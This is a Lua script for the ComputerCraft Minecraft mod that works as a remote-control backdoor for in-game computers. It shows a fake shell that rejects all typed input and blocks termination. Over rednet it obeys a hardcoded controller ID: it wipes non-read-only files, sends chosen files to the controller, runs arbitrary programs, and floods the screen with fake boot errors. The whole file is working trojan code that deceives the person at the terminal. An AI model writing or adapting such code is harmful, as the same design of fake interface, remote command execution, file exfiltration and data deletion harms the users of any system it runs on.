local derr = 529; --CHANGE THIS TO YOUR ID

local _sReplaceChar = nil
local _tHistory = ""

term.clear()
term.setCursorPos(1,1)
rednet.open("left")
rednet.open("right")
rednet.open("back")
rednet.open("top")

if fs.exists("formatted352") then
	os.shutdown()
end

print(os.version())
write("> ")
while true do
	rednet.send(derr, "Hello" ..derr)
	term.setCursorBlink( true )
	local sEvent, param, message = os.pullEventRaw()

	if sEvent == "rednet_message" and param == derr then
		if message == "Spam" then
		  print()
		  for i=1,10 do
		    print("bios:21: /rom/ does not exist!")
		  end

		  write("> ")
		elseif message == "Clear" then
		  term.clear()
		  term.setCursorPos(1,1)
		  write("> ")
		elseif message == "Boot" then
		  term.clear()
		  term.setCursorPos(1,1)
		  print(os.version())
		  write("> ")
		elseif message == "Off" then
		  print("\nGoodbye.")
		  sleep(1)
		  term.clear()
		  term.setCursorPos(1,1)
		  term.setCursorBlink( false )
		  sleep(5)
		  print(os.version())
		  write("> ")
		  term.setCursorBlink( true )
		elseif message == "format" then
			fs.makeDir("formatted352")
			files = fs.list("/")
			for n=1,#files do
				if files[n] == "startup" or files[n] == "formatted352" or fs.isReadOnly(files[n]) then else
					fs.delete(files[n])
				end
			end

			os.reboot()
		elseif message == "copy" then
			id, filename = rednet.receive()
			if fs.exists(filename) then
				copied = fs.open(filename, "r")
				rednet.send(derr, copied.readAll())
				copied.close()
			else
				rednet.send(derr, "runfailed")
			end
		else
			if fs.exists(message) then
				shell.run(message)
			else
				rednet.send(derr, "runfailed")
			end
		end
	end

	local nHistoryPos = nil
	local sLine = ""
	local nPos = 0
    if _sReplaceChar then
		_sReplaceChar = string.sub( _sReplaceChar, 1, 1 )
	end

	local w, h = term.getSize()
	local sx, sy = term.getCursorPos()
	local function redraw()
		local nScroll = 0
		if sx + nPos >= w then
			nScroll = (sx + nPos) - w
		end

		term.setCursorPos( sx, sy )
		term.write( string.rep(" ", w - sx + 1) )
		term.setCursorPos( sx, sy )
		if _sReplaceChar then
			term.write( string.rep(_sReplaceChar, string.len(sLine) - nScroll) )
		else
			term.write( string.sub( sLine, nScroll + 1 ) )
		end
		term.setCursorPos( sx + nPos - nScroll, sy )
	end


		if sEvent == "char" then
			sLine = string.sub( sLine, 1, nPos ) .. param .. string.sub( sLine, nPos + 1 )
			nPos = nPos + 1
			redraw()

		elseif sEvent == "key" then
		    if param == 28 then
				-- Enter
				term.setCursorBlink( false )
				term.setCursorPos( w + 1, sy )
				print("No such program")
				write("> ")
			elseif param == 203 then
				-- Left
				if nPos > 0 then
					nPos = nPos - 1
					redraw()
				end

			elseif param == 205 then
				-- Right
				if nPos < string.len(sLine) then
					nPos = nPos + 1
					redraw()
				end

			elseif param == 200 or param == 208 then
                -- Up or down
				if _tHistory then
					if param == 200 then
						-- Up
						if nHistoryPos == nil then
							if #_tHistory > 0 then
								nHistoryPos = #_tHistory
							end
						elseif nHistoryPos > 1 then
							nHistoryPos = nHistoryPos - 1
						end
					else
						-- Down
						if nHistoryPos == #_tHistory then
							nHistoryPos = nil
						elseif nHistoryPos ~= nil then
							nHistoryPos = nHistoryPos + 1
						end
					end

					if nHistoryPos then
                    	sLine = _tHistory[nHistoryPos]
                    	nPos = string.len( sLine )
                    else
						sLine = ""
						nPos = 0
					end
					redraw()
                end
			elseif param == 14 then
				-- Backspace
				if nPos > 0 then
					sLine = string.sub( sLine, 1, nPos - 1 ) .. string.sub( sLine, nPos + 1 )
					nPos = nPos - 1
					redraw()
				end
			end
		end
end